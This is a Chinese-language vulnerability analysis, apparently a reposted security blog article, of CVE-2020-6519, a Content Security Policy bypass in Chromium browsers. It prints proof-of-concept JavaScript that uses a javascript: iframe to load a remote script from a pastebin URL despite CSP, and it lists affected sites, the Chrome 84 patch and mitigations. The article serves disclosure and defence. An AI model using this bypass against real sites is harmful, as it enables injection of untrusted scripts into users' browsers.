CVE-2020-6519漏洞分析

2020-08-14 10,859

网络安全研究人员发现了一个基于Chromium的web浏览器的0 day漏洞,漏洞影响Windows、Mac和安卓平台的基于Chromium的web浏览器,攻击者利用该漏洞可以绕过Chrome 73及之后版本的内容安全策略(Content Security Policy,CSP)。

漏洞CVE编号为CVE-2020-6519,CVSS评分为6.5分。攻击者利用该漏洞可以在目标网站上绕过CSP并执行任意恶意代码。

漏洞分析

正常情况下,当站点的CSP设置不允许脚本执行源或动作时,运行下面的JS代码会被浏览器拦截:

/* this is a script that pops an alert message */
top._CVE_URL = 'https://pastebin.com/raw/dw5cWGK6';

/* this call will fail due to CSP */
var s = document.createElement("script"); s.src = top._CVE_URL; document.body.appendChild(s);

但是,通过iframejavascript: src 来运行相同的JS代码可以完全绕过网站配置的CSP:

/* this is a script that pops an alert message */
top._CVE_URL = 'https://pastebin.com/raw/dw5cWGK6';

/* this call will succeed although CSP */
document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

由此可以看出,任意操作系统上的任意浏览器都允许站点上的代码进行CSP权限提升:

image.png

像推特、领英、Github、Google Play Store、Yahoo登陆页、PayPal和 Yandex这种用CSP保护的站点是不受CVE-2020-6519漏洞的影响的,因为这些CSP 使用随机数或哈希值在服务端和客户端加了一层额外的安全防护。

漏洞影响

网站的CSP 规则可以要求浏览器拦截或允许特定的请求调用、特定的JS代码执行等来保护用户免受注入的恶意脚本或XSS攻击。Chrome的CSP机制存在漏洞并不意味着站点就一定会被黑。因为攻击者仍然需要能够从站点获取恶意脚本。

由于Chrome 用户超过20亿,占浏览器市场份额的65%,而且大多数主流站点都受到该漏洞的影响,因此实际受影响的用户数量超过数十亿。研究人员测试发现受影响的网站有Facebook、WellsFargo、Gmail 、Zoom、Tiktok、Instagram、WhatsApp、Investopedia、ESPN、Roblox、Indeed、Blogger、Quora等。

测试

研究人员创建了一个简单的脚本并用来测试了一些网站。测试过程中,研究人员尝试从https://pastebin.com/raw/XpHsfXJQ 加载外部js脚本,也尝试加载漏洞利用:

浏览器和网站都受该漏洞影响的情况:

image.png

浏览器受该漏洞影响而网站不受该漏洞影响的情况:

image.png

浏览器受该漏洞影响的情况:

image.png

补丁

Chromium 在Chrome 84版本中修复了该漏洞,研究人员建议用户尽快更新到最新版本。

建议

研究人员建议用户:

  • 确保CSP规则的正确性和有效性;

  • 在CSP的基础上,添加随机数或哈希来额外增加一层防护;

  • 可以考虑基于JS的检测等方式。

https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/


本文作者:ang010ela

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/137648.html

Tags:
评论  (0)
快来写下你的想法吧!

ang010ela

文章数:56 积分: 711

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号